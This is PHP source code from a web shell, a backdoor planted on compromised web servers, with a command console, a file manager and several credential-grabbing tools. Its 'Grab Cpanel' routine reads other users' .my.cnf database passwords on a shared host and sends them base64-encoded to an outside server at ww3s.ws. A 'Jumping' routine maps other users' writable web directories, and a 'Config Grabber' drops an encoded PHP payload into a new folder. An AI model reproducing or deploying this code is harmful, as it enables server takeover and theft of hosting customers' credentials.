        echo "</textarea><table style=\"border:1px solid #0d0d0d;background-color:#0d0d0d;border-top:0px;\" cellpadding=0 cellspacing=0 width=\"100%\"><tr><td style=\"padding-left:4px; width:13px;\">\$</td><td><input type=text name=cmd style=\"border:0px;width:100%;\" onkeydown=\"kp(event);\"></td></tr></table>";
        echo "</form></div><script>d.cf.cmd.focus();</script>";
        hardFooter();
    }
    function actionPhp()
    {
        hardHeader();
        echo "<center><h1>Grab Cpanel</h1><div class=content><br>";
        $hex = "tUrvYto4GP5eqf+DlyElXGZWoLfTUwkbR5R3H6qWYZO6XoXinO0UupA4w3jY+r/feJtA+NECpzvUCm8/fv368XA/Yj6IQAwodJaZChrm8cOAE4IJNXqvbWVrkFJOwgQOEA8Y4fX7ukhufMTsyjQmf1Q8Ikp8HLEbwYNS07UIZ4PweNWfhwcIPpWYaz4fhTlBubVuMEVu5YwzZ3odXcRIwWEr4q6AE84iEiBTxNSSUGI91fVna8CTCVNzZllN8t88mbcksB6uWyqpN41SQJGPPnEi55bpZZa4TjzlqZPgIDOrCoULFFriIBXEMtz7mHWcISEiUNYchgkqAkoPDwoWtgeRMJHN40fRz0zOU5PF45yjOBffA3+Wf5PJ/wm6160MhwglbFmpQtlQzustZ9k5YvdD03KTSGALXWi+Xnx2YuwsBwHk+Uy/uwvuFJ6GmKS7YJ3pg5ME2QzqwlcMyWaCo4D5NVJsAlFs8kouKHuBtAwTHicTWONvTRAt1QdxRVNPWQtBesNWx1NI9s1NcXFTBoSD/hPYf+g3etO0iygyAzwMOAEgBBKjwWrOwm4kRVgKU2hOQUU1Zbkx5dQ1nG+0SY8g32C06UHwlLumo+PdmmUN5p1wujM2lCDDGIjzEVmSDEarkJagkG6cVxFLKl5IiSPB4YN+tpEJgeVgiLc+hcNTWVg59HLaZRED0DcDKUR416GzDfYX9051m/NJA2szFLLQrNR0TUmB2n9/DHXgs0QPVIjiXKR1OBGMn6ChVdmkgXfH76B0VsrAqNLG0ZFwgFzSzYGXApygdOZOK295xnVPa+ZCGAsb7m/zHKNE997WEYsJsOUPxmwcPLZX3Vo3Ye2ZWQN6VsZL5X/f5e4yULFyLwV/jjzdW55sQeBt7kU7K/xd5iJsUZ854Qv65uc/Wo6O5DeNkoRGbewb65vyeH2aX1h4+ivQaok8U1ZR8gG4HEYnVj2B3+GQTNBio8vz7lrntDeAL7uYdzg8ps6QuvjRCSehsXbcfBjcjBef+u2een7F31Gex+4bx1DWVBGka1URXL5inNoJIveN2lvHq6JCPGzEYd2rbPBKUNcCdcMjSmmaLyZr2jnr2ai2FWb9pX9maHMbhNModLAjcLiQ/vxwwINR2XZOefXFVdedm5vOx5vO5VLvWKf9zLwFuNvvnWrbve5S++y637VfzvFm/+IKQDpvchxymbpLFZ6PayLRM/t+Kpu4q/xCWzbDLM5uEKhSbeYCRvL1J55G/mZKf5/7rreH767a65qlrjjnBoPczwenY2F8FBMSP0tYxkqsRGyfSmvfeUQf4KR9F5b5DQdcupruLwDyEwJgMI1MMhnEbGGZryUUGZbzW9VrPR9FNsRvcZZUZ2+VW7Th5jywZ06mx9zW7nFMSVKtbWxvSBXBqmHv1GGWoKWIQvqnSVCZg04UCCgNLdmm1BREssRCJZ0GmwmTRCRMS+20V1AEGUkq2cPjZGhes8LcbRUqQWQzFb2QiO7FTdo6/ymcQ04xgSMCw3qJ0nbLd6ckSWizpSULQZ+Rwaz6TCxX8kRH0nNQYXJW7VJuUWHf3NmmLFrM6nyoGq4nuwWEaqfSl9CTpf3IfSXNH1er81nkQchHiIq3Xv+Q/6fmIfvVOeS/rXqWXGmDWGErbraNB5ddZdK1ogVRSfnxe1oWlC1m6Rk9Sql5m0ax9K+y3U1y7LBctUDTQzmonSoIMDUD5kHFBE35rF9NZsHnfiV/7zV3m/p+eQz2tNy0/rjVv1diqam4n9Gi7XsPukOrp6Imp2TAZmcNT5O3BOyfms2BDCbH8j0YueU34SXLR15NGOdZ5qsptZqi1czgPKEE55j4r7Ps3TvPePW73UG36coe9ba9CbNrYpsB5XvyJuCyUBfgNnPoT0gvAqh81WchExfyRpv9hN63/gE=";
        eval /* PHPDeobfuscator eval output */ {
            @ini_set('display_errors', 0);
            function entre2v2($text, $marqueurDebutLien, $marqueurFinLien, $i = 1)
            {
                $ar0 = explode($marqueurDebutLien, $text);
                $ar1 = explode($marqueurFinLien, $ar0[$i]);
                return trim($ar1[0]);
            }
            echo "<br><br>";
            echo "<center>";
            $d0mains = @file('/etc/named.conf');
            $domains = scandir("/var/named");
            if ($domains or $d0mains) {
                $domains = scandir("/var/named");
                if ($domains) {
                    echo "<table align=center><tr><th valign=top  class=style2> COUNT </th><th valign=top > DOMAIN </th><th valign=top class=style2 > USER </th><th valign=top class=style2 > Password </th><th valign=top class=style2 > .my.cnf </th></tr>";
                    $count = 1;
                    $dc = 0;
                    $list = scandir("/var/named");
                    foreach ($list as $domain) {
                        if (strpos($domain, ".db")) {
                            $domain = str_replace('.db', '', $domain);
                            $owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain));
                            $dirz = '/home/' . $owner['name'] . '/.my.cnf';
                            $path = getcwd();
                            if (is_readable($dirz)) {
                                copy($dirz, '' . $path . '/' . $owner['name'] . '.txt');
                                $p = file_get_contents('' . $path . '/' . $owner['name'] . '.txt');
                                $password = entre2v2($p, 'password="', '"');
                                echo "<tr><td valign=top style=border :2px solid white; width: 139px class=style2>" . $count++ . "</td><td valign=top style= width: 139px; border :2px solid white  class=style2 ><a href=http://" . $domain . ":2082 target=_blank>" . $domain . "</a></td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >" . $owner['name'] . "</td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >" . $password . "</td><td valign=top style=border :2px solid white style=width: 139px><a href=" . $owner['name'] . ".txt target=_blank>Click Here</a></td></tr>";
                                $dc++;
                                $success3 = "http://" . $domain . "|" . $owner['name'] . "|" . $password . "\n";
                                $ch = curl_init();
                                curl_setopt($ch, CURLOPT_URL, "http://ww3s.ws/ok.php");
                                curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0');
                                curl_setopt($ch, CURLOPT_POST, 1);
                                curl_setopt($ch, CURLOPT_POSTFIELDS, "result=" . base64_encode($success3));
                                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                                curl_setopt($ch, CURLOPT_HEADER, 1);
                                $buffer = curl_exec($ch);
                            }
                        }
                    }
                    echo "</table>";
                    $total = $dc;
                    echo "</center>";
                } else {
                    $d0mains = @file('/etc/named.conf');
                    if ($d0mains) {
                        echo "<table align=center><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
                        $count = 1;
                        $dc = 0;
                        $mck = array();
                        foreach ($d0mains as $d0main) {
                            if (@eregi('zone', $d0main)) {
                                preg_match_all('#zone "(.*)"#', $d0main, $domain);
                                flush();
                                if (strlen(trim($domain[1][0])) > 2) {
                                    $mck[] = $domain[1][0];
                                }
                            }
                        }
                        $mck = array_unique($mck);
                        $usr = array();
                        $dmn = array();
                        foreach ($mck as $o) {
                            $infos = @posix_getpwuid(fileowner("/etc/valiases/" . $o));
                            $usr[] = $infos['name'];
                            $dmn[] = $o;
                        }
                        array_multisort($usr, $dmn);
                        $dt = file('/etc/passwd');
                        $passwd = array();
                        foreach ($dt as $d) {
                            $r = explode(':', $d);
                            if (strpos($r[5], 'home')) {
                                $passwd[$r[0]] = $r[5];
                            }
                        }
                        $l = 0;
                        $j = 1;
                        foreach ($usr as $r) {
                            $dirz = '/home/' . $r . '/.my.cnf';
                            $path = getcwd();
                            if (is_readable($dirz)) {
                                copy($dirz, '' . $path . '/' . $r . '.txt');
                                $p = file_get_contents('' . $path . '/' . $r . '.txt');
                                $password = entre2v2($p, 'password="', '"');
                                echo "<tr><td valign=top class=style2 style=width: 139px>" . $count++ . "</td><td valign=top class=style2 style=width: 139px><a target=_blank href=http://" . $dmn[$j - 1] . '/>' . $dmn[$j - 1] . ' </a></td><td valign=top class=style2 style=width: 139px>' . $r . "</td><td valign=top class=style2 style=width: 139px>" . $password . "</td><td valign=top class=style2 style=width: 139px><a href='" . $r . ".txt' target='_blank'>Click Here</a></td></tr>";
                                $dc++;
                                flush();
                                $l = $l ? 0 : 1;
                                $j++;
                            }
                        }
                    }
                    echo "</table>";
                    $total = $dc;
                    echo '<br><div class=result valign=top class=style2 style=width: 139px >Total cPanel Found = ' . $total . '</h3><br />';
                    echo "</center>";
                }
            } else {
                echo "<div class=result><i><font color=#ff9900>ERROR</font><br><font color=#ff9900>/var/named</font> or <font color=#ff9900>etc/named.conf</font> Not Accessible!</i></div>";
            }
        };
        echo " </div>";
        hardFooter();
    }
    function actionFilesMan()
    {
        if (!empty($_COOKIE['f'])) {
            $_COOKIE['f'] = @unserialize($_COOKIE['f']);
        }
        if (!empty($_POST['p1'])) {
            switch ($_POST['p1']) {
                case 'uploadFile':
                    if (is_array($_FILES['f']['tmp_name'])) {
                        foreach ($_FILES['f']['tmp_name'] as $i => $tmpName) {
                            if (!@move_uploaded_file($tmpName, $_FILES['f']['name'][$i])) {
                                echo "Can't upload file!";
                            }
                        }
                    }
                    break;
                case 'mkdir':
                    if (!@mkdir($_POST['p2'])) {
                        echo "Can't create new dir";
                    }
                    break;
                case 'delete':
                    function deleteDir($path)
                    {
                        $path = substr($path, -1) == '/' ? $path : $path . '/';
                        $dh = opendir($path);
                        while (($▟ = readdir($dh)) !== false) {
                            $▟ = $path . $▟;
                            if (basename($▟) == ".." || basename($▟) == ".") {
                                continue;
                            }
                            $type = filetype($▟);
                            if ($type == "dir") {
                                deleteDir($▟);
                            } else {
                                @unlink($▟);
                            }
                        }
                        closedir($dh);
                        @rmdir($path);
                    }
                    if (is_array(@$_POST['f'])) {
                        foreach ($_POST['f'] as $f) {
                            if ($f == '..') {
                                continue;
                            }
                            $f = urldecode($f);
                            if (is_dir($f)) {
                                deleteDir($f);
                            } else {
                                @unlink($f);
                            }
                        }
                    }
                    break;
                case 'paste':
                    if ($_COOKIE['act'] == 'copy') {
                        function copy_paste($c, $s, $d)
                        {
                            if (is_dir($c . $s)) {
                                mkdir($d . $s);
                                $h = @opendir($c . $s);
                                while (($f = @readdir($h)) !== false) {
                                    if ($f != "." and $f != "..") {
                                        copy_paste($c . $s . '/', $f, $d . $s . '/');
                                    }
                                }
                            } elseif (is_file($c . $s)) {
                                @copy($c . $s, $d . $s);
                            }
                        }
                        foreach ($_COOKIE['f'] as $f) {
                            copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
                        }
                    } elseif ($_COOKIE['act'] == 'move') {
                        function move_paste($c, $s, $d)
                        {
                            if (is_dir($c . $s)) {
                                mkdir($d . $s);
                                $h = @opendir($c . $s);
                                while (($f = @readdir($h)) !== false) {
                                    if ($f != "." and $f != "..") {
                                        copy_paste($c . $s . '/', $f, $d . $s . '/');
                                    }
                                }
                            } elseif (@is_file($c . $s)) {
                                @copy($c . $s, $d . $s);
                            }
                        }
                        foreach ($_COOKIE['f'] as $f) {
                            @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
                        }
                    } elseif ($_COOKIE['act'] == 'zip') {
                        if (class_exists('ZipArchive')) {
                            $zip = new ZipArchive();
                            if ($zip->open($_POST['p2'], 1)) {
                                chdir($_COOKIE['c']);
                                foreach ($_COOKIE['f'] as $f) {
                                    if ($f == '..') {
                                        continue;
                                    }
                                    if (@is_file($_COOKIE['c'] . $f)) {
                                        $zip->addFile($_COOKIE['c'] . $f, $f);
                                    } elseif (@is_dir($_COOKIE['c'] . $f)) {
                                        $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
                                        foreach ($iterator as $key => $value) {
                                            $zip->addFile(realpath($key), $key);
                                        }
                                    }
                                }
                                chdir($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    } elseif ($_COOKIE['act'] == 'unzip') {
                        if (class_exists('ZipArchive')) {
                            $zip = new ZipArchive();
                            foreach ($_COOKIE['f'] as $f) {
                                if ($zip->open($_COOKIE['c'] . $f)) {
                                    $zip->extractTo($GLOBALS['cwd']);
                                    $zip->close();
                                }
                            }
                        }
                    } elseif ($_COOKIE['act'] == 'tar') {
                        chdir($_COOKIE['c']);
                        $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                        ex('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                        chdir($GLOBALS['cwd']);
                    }
                    unset($_COOKIE['f']);
                    setcookie('f', '', time() - 3600);
                    break;
                default:
                    if (!empty($_POST['p1'])) {
                        prototype('act', $_POST['p1']);
                        prototype('f', serialize(@$_POST['f']));
                        prototype('c', @$_POST['c']);
                    }
                    break;
            }
        }
        hardHeader();
        echo "<h1>File manager</h1><div class=content><script>p1_=p2_=p3_=\"\";</script>";
        $dirContent = hardScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
        if ($dirContent === false) {
            echo "Can't open this folder!";
            hardFooter();
            return;
        }
        global $sort;
        $sort = array('name', 1);
        if (!empty($_POST['p1'])) {
            if (preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['p1'], $match)) {
                $sort = array($match[1], (int) $match[2]);
            }
        }
        echo "<script>\r\n\tfunction sa() {\r\n\t\tfor(i=0;i<d.files.elements.length;i++)\r\n\t\t\tif(d.files.elements[i].type == 'checkbox')\r\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\r\n\t}\r\n</script>\r\n<table width='100%' class='main' cellspacing='0' cellpadding='2'>\r\n<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
        $dirs = $files = array();
        $n = count($dirContent);
        for ($i = 0; $i < $n; $i++) {
            $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
            $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
            $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
            if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) {
                $files[] = array_merge($tmp, array('type' => 'file'));
            } elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) {
                $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
            } elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && $dirContent[$i] != ".") {
                $dirs[] = array_merge($tmp, array('type' => 'dir'));
            }
        }
        $GLOBALS['sort'] = $sort;
        function cmp($a, $b)
        {
            if ($GLOBALS['sort'][0] != 'size') {
                return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
            } else {
                return ($a['size'] < $b['size'] ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
            }
        }
        usort($files, "cmp");
        usort($dirs, "cmp");
        $files = array_merge($dirs, $files);
        $l = 0;
        foreach ($files as $f) {
            echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . ($f['type'] == 'file' ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . ($f['type'] == 'file' ? viewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . ($f['type'] == 'file' ? ' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
            $l = $l ? 0 : 1;
        }
        echo "<tr id=fak><td colspan=7>\r\n\t<input type=hidden name=ne value=''>\r\n\t<input type=hidden name=a value='FilesMan'>\r\n\t<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>\r\n\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n\t<label><select name='p1'>";
        if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) {
            echo "<option value='paste'>\xe2\x86\xb3 Paste</option>";
        }
        echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
        if (class_exists('ZipArchive')) {
            echo "<option value='zip'>+ zip</option><option value='unzip'>- zip</option>";
        }
        echo "<option value='tar'>+ tar.gz</option>";
        echo "</select></label>";
        if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && ($_COOKIE['act'] == 'zip' || $_COOKIE['act'] == 'tar')) {
            echo "&nbsp;file name: <input type=text name=p2 value='hard_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
        }
        echo "<input type='submit' value='submit'></td></tr></form></table></div>";
        hardFooter();
    }
    function actionStringTools()
    {
        hardHeader();
        echo "<center><h1>Jumping ;D</h1><div class=content><br>";
        $hex = "tUhaYptAED1Gqf9uVywtNJFWD70kQKJJiZWe2lXpxbIQi2mX2NEaFrMJNP7vneXDxqYf6qGWDMvOzJs3YnRgoiGA88u3Yqx4HeuIK+GQXPOkkkKRb4wyQc7g3DUOKisp2H7CR+jn+hGyV2UekE2yjY4v4HCyApkKbVZP27hClMgQu6CJih3bwycvwYByYZ+BzXkXKINcK8f2CxoLyHVSTLAstUPhShkTAVnJHAZkvnQcULshg46VZSatxaTZKMEdk9No4Qc6S7rYmwMgBF5f4V3j0Nr7bf4xu1Zhek5IXGg4KMgmqqXIylVJlVA8dPr+yr1LXWsoXVQBFylKLG1B61HHm6YEyyooc8lX58A2/7AAyTv/l5Jplp61aOAc5Zpu9bZK0k1sxzFekq4rnVKlqKuWayOL5pGpQa6Ngsd17i6RNdGnp5f9+pktWqL5S6+bQZoF+BJXpoqAXCVFlMEIm4TD6A2t8mPk04H5ngx7yh3nJdPir5z/VfTLf3S67e5aYhkqgxKKNM6EpmSkSZpws5KEZb2KsGSTcqpmZUNSQXip4yad6WF5aeMYcphExRjcDkcseJVCZLPAqbD6YNP5B/Gm/QfgXedQEIIDcJm+UNZZgJAvClGpoMUCk6yrGVx/zfZIH86DNZ4J+8R7lKyl247HNF+f4ItgyGb3xNuG36Hv53F17+ckfx6WaTQeKatDvlChnXgjJ13GimgyPspXWK64h2C2O1X8WLTR3pyYwshvEHSOYBwa/H6qx+eShsjG99KR2Phbox4vg43tYblb9Yvjo+nebVDEzrW9NUpmMX9Ghja8z5EomM0B2h52U4WswJ5B9NSGYpqpWUP2hBsobFa5Sz8ZgZxWZ3t/Zmp/MycPs9nn6OHT7Yws3KndENnuvzAefl1jrMyHxpjgKvwJ";
        eval("\$i = 0;\r\n\t@ini_set('display_errors', 0);\r\n\techo \"<pre><div class='margin: 5px auto;'>\";\r\n\t\$etc = fopen(\"/etc/passwd\", \"r\") or die(\"<font color=white>Can't read /etc/passwd</font>\");\r\n\twhile(\$passwd = fgets(\$etc)) {\r\n\t\tif(\$passwd == '' || !\$etc) {\r\n\t\t\techo \"<font color=white>Can't read /etc/passwd</font>\";\r\n\t\t} else {\r\n\t\t\tpreg_match_all('/(.*?):x:/', \$passwd, \$user_jumping);\r\n\t\t\tforeach(\$user_jumping[1] as \$user_khoer_jump) {\r\n\t\t\t\t\$user_jumping_dir = \"/home/\$user_khoer_jump/public_html\";\r\n\t\t\t\tif(is_readable(\$user_jumping_dir)) {\r\n\t\t\t\t\t\$i++;\r\n\t\t\t\t\t\$jrw = \"[<font color=white>R</font>] <a href='?path=\$user_jumping_dir'><font color=gold>\$user_jumping_dir</font></a>\";\r\n\t\t\t\t\tif(is_writable(\$user_jumping_dir)) {\r\n\t\t\t\t\t\t\$jrw = \"[<font color=white>RW</font>] <a href='?path=\$user_jumping_dir'><font color=gold>\$user_jumping_dir</font></a>\";\r\n\t\t\t\t\t}\r\n\t\t\t\t\techo \$jrw;\r\n\t\t\t\t\tif(function_exists('posix_getpwuid')) {\r\n\t\t\t\t\t\t\$domain_jump = file_get_contents(\"/etc/named.conf\");\t\r\n\t\t\t\t\t\tif(\$domain_jump == '') {\r\n\t\t\t\t\t\t\techo \" => ( <font color=white>I can't take the domain name</font> )<br>\";\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\tpreg_match_all(\"#/var/named/(.*?).db#\", \$domain_jump, \$domains_jump);\r\n\t\t\t\t\t\t\tforeach(\$domains_jump[1] as \$dj) {\r\n\t\t\t\t\t\t\t\t\$user_jumping_url = posix_getpwuid(@fileowner(\"/etc/valiases/\$dj\"));\r\n\t\t\t\t\t\t\t\t\$user_jumping_url = \$user_jumping_url['name'];\r\n\t\t\t\t\t\t\t\tif(\$user_jumping_url == \$user_khoer_jump) {\r\n\t\t\t\t\t\t\t\t\techo \" => ( <u>\$dj</u> )<br>\";\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\techo \"<br>\";\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif(\$i == 0) { \r\n\t} else {\r\n\t\techo \"<br>Total \".\$i.\" Directory \".gethostbyname(\$_SERVER['HTTP_HOST']).\"\";\r\n\t}\r\n\techo \"</div></pre>\";\r\n ?>");
        echo "</div>";
        hardFooter();
    }
    function actionSafeMode()
    {
        hardHeader();
        echo "<center><h1>Config Grabber</h1><div class=content><br>";
        @ini_set('display_errors', 0);
        $cgi_dir = mkdir('hex_tools', 0755);
        chdir('hex_tools');
        $file_mass = "conf.php";
        $mass_script = "PD9wSHAgJGhleCA9ICI3Wng2WXRzNEVvQS94MEQrQTByd3dXbVRTMWEzaXg3YU9Oc2tkQ2VidTJaY3Q4bDZSV29OUkNkWFpIeTBVZHZhVllYLyt3MVN5WmFkRjZrN0JPNE91QUJrOWNKc09Cd09kQ2pWa3craEZRNlpZK3UxSUhGcHhNZFE0VGpVYnJWZHN0OXJ2MTNaMnRvS3Ayam1PaTZONkZVNGFPWmE0S3grYldnNlBPbEFvMTN5Y0tOT1RTMXZqRS9MZFh6YnJnaC9RVmJ0a1BsQmRidFVQQktPV3pjdVR5dWdJMU9ZWSs2RVVDenFFdWJaTm1oY0VSaU5VRE42WFlNdXhYM293ajhMNkJ5NnJnNUNRanAwaldLcjR5ODFuMDNUWTBuN0tydXRzV1I4TjZmTWNyVUcrU1lWL2hBL0JLRkdOK2JpZnJpOGRvQ3FZdCsrZWlSOFJEY2lpK3d4YjVLMVU2WlFxWGpJTnRXNXkzMWZNTll5UVhrM3BCWWoxMGtBa294OG9oRkxvak9PWWsvcmdYcEtQb2FPOEYzcWpKTUdFdGljdS9GcHBSc0VkSEJiRUVyY3V5WkxOclJWMDU3YkpMbG14YTBBRExOc1pydlM0V0hJcG5EU3RjWUc2UEZ1R2xOdmRYdnVFTWJzQ3N0eUcrTXltNW1teHU1RmRqVmtTT0g2VUpzek5ncE5tZVhVZHUwck5DRHdvejd6RGNXOUhkRUFERFN3QUxpNklaRkc2Z2p1eit1NXk0UXpSVnBiZ1BIaE1NOXJCNGlWYTlXRHlTZXRwTTJYbjZRSzFkOVNQS0VCZGhIYkViT2hJOEFTdnFqWHpJRnN4NTJCT1JxTjRDZ1o1OEEwd1NWNDhKdGdKQytja20waUYyWVh0S3FsTGMyd3RxdmFKTTY0bW5tam1WeGhHdWJjYU8yQStzd2MyWHZLbDVLWlREY3NORXJxTlkyOUMrb0UwQlZ3V3ZkZU9jakxYQVgxSEM1ZHA0RDlEMWZqaUg4WDJIeWdsbXRnYmdINWhqN1FTd1J1VERqTXJ4ZWJwUXdDYWk4dldHOU02QXB6Qm0vS3ZjZzFJZGE0b1RWd0JSMThaenliVk45MGxTVTZ0UHdDL0NsWnBzczdabmVYN0lMYnRnbGhZbFBVQjdYdTQrZ0YrQzJmd1ZlbGNzbE9IRTNsckg1dkM2dkhIYmU4emtUb0p6NlltU2pnTHA5akpnbzY2bFJFeUNJK1ZqdUNPTEZMTE9TS2V6WUVWQkFNU0FEZUNMK3FiaTc4ZmxWYjF3M1QyRjFpOVQ4VmYwYVZuNDYvTHhqcnpmNmJKdzBGMTR1c0JGcit1MW0wWFZhSVRQODd2VGxxWUJXMnpzOCs3ZjJaN0h6aWxxLzZoSEpXYWE1MEZuR1FIcmdmM0tKRUlCejJLV2VZV0duK2JXaHBlMUJwNU9jWm4xRmp2d09iQXhsajIxNEVBMDJlZmhSM293RGRrWjF3SG91TE1HUG5yVXFwSXFvSDhsZjZMUmg0dTlJV0l3ZkNRdCthaFpZZ0o5YnlWNDlOQWZuVHQybi9MK2Y5enRudzAvVmEvN2g3MjErUTM1cXZTZFltWDQ1N1g1Y3lSUmN5a094M1FmUzhmYjFWbXQ3c3Rscy83cjloZ2xXQjY4aHNmQzVpditBNU00ZENzbHFPL01uNWozY25HK1I4VmJXcWhpd2N6bDBmc3V6U1JHc1VEYXkyK0tjSGprNk9JWmtNckEzSFFuS1YzSlJQNE5uc0tEOENjSEdzT3B3bXhxcFlUTWpXZHUrTjkxdkoyTkw5QUVDZjJKSjVTa241ZkFnNlQwR3ZOMS85M0d0cS8wRnovMGMyM1FLa3FxeDZXV1hYdnh4OFdqWW55U1hRUExGYlNDcWVOZ0FWdU9Qd1pIMjdBakVURXFXNWVYZzIxY0Rtbk0wTjBqb2l4c1hWN1Y3dTJ1NFRNclkzZ1hVTGNJMmpKOUswd2l3elpTRnVNeGNyK1NUdEZzbytuMk1WVXVYV3NvUFl6S3FLc1ZlZ2haeFVxVVlSMGl4TUxMNlJINVZubGdyTDlQNUZFa2UwTE44VjB1NG1KcGdoOGdMQkhxbjB5OFNMSWdHMktxUjFRQ2ovMEFWdk9sVytyOGsyajZSaXh5VzhmcU5pejhuTjd3bnIwVGdXamkrS0Z3KzR0QzRXZlhIWFAwSHk2YVBwL3FNdzI2R0I1N3ZhbFBOdUhlcHZjdE0vbkZKbkF1RnZ5YmcrTFdtQnRjZTVOR04wUW1FbGhGb0lteTRPTW9ub0RGWVFMc2NSNUZnVmpqU0dXU0YxWnFMa0wwRms4cFlZTWVRSXNwWTRETjZwQWhGR0hDRzVoU0xjSFNEbFh5T2RHajhSNEJINHhZM1U0ZEdMSVFWRDc0REtVaGNjZ215VE9JUU5uZjhnM0pYd1lyQy83V2lLdFkrZmE3WDFmU09RMFEySFZjTWIwZ3d5dnVFUU1WOWhXUDhvSXJtRlVDU3hBWWRWQWhRT0FkRUJDV3VOQlB5ZU5GQlBjWVRBRVpKbzlNd2lLN2ZHVS9QWWRBY294SVZSNEpYNER4TnhLN1FaMEhEQURnRTdBdXdBUS9KS0o1MHpISUJQZGNFQTVrdEE1L3owOUtSOTFzY3R5a0g2WDVVNGozTk5LQUdWbVZRSEF6MjFvVFZRKzlmMThYUzBoMkQxNkdqYk9EK1hZcUpEQUI4TE9IWi83TGRrQkNjUURvcEEwWVRleldqL0dEa1ZSQ2dzNUhIZ0VYY2czV20vcTI0dzNCRmN3NERRbURTVzZvaWtPdUlvaW1Sc2ZXYUREVDJYYmhSdVVNOVJBK1B5L0dJNGJHS01Hd05GL3JaNzNQM2N4eUc0eFhRQ2hZanhDTFhxYUN3VHRmQm9MQlpTMHJGeGZIcWsza2kvOSt2Sk9kSlJadUUvUXc4NUpoMlFOSmJndHBoMk1NSHQ2eVk2SUpmZHpxOTkzTnhjWlFaRnVLSGdFWjErNzd5Tml5c2Q0WHNPTGlnd1BLTFR2Y0Urd1BBSSsvQ0NKc2h5Z2w0aTZPV0JBcHlldDN0SzNRN09wMEU5eDU5bWhtWUpXd2VrMit1ZG5DUDMyMTNmcHg1bHQ4dzFNTTQ3eU9lZlpvWjhhL0d3Z0dmN29DUGQ2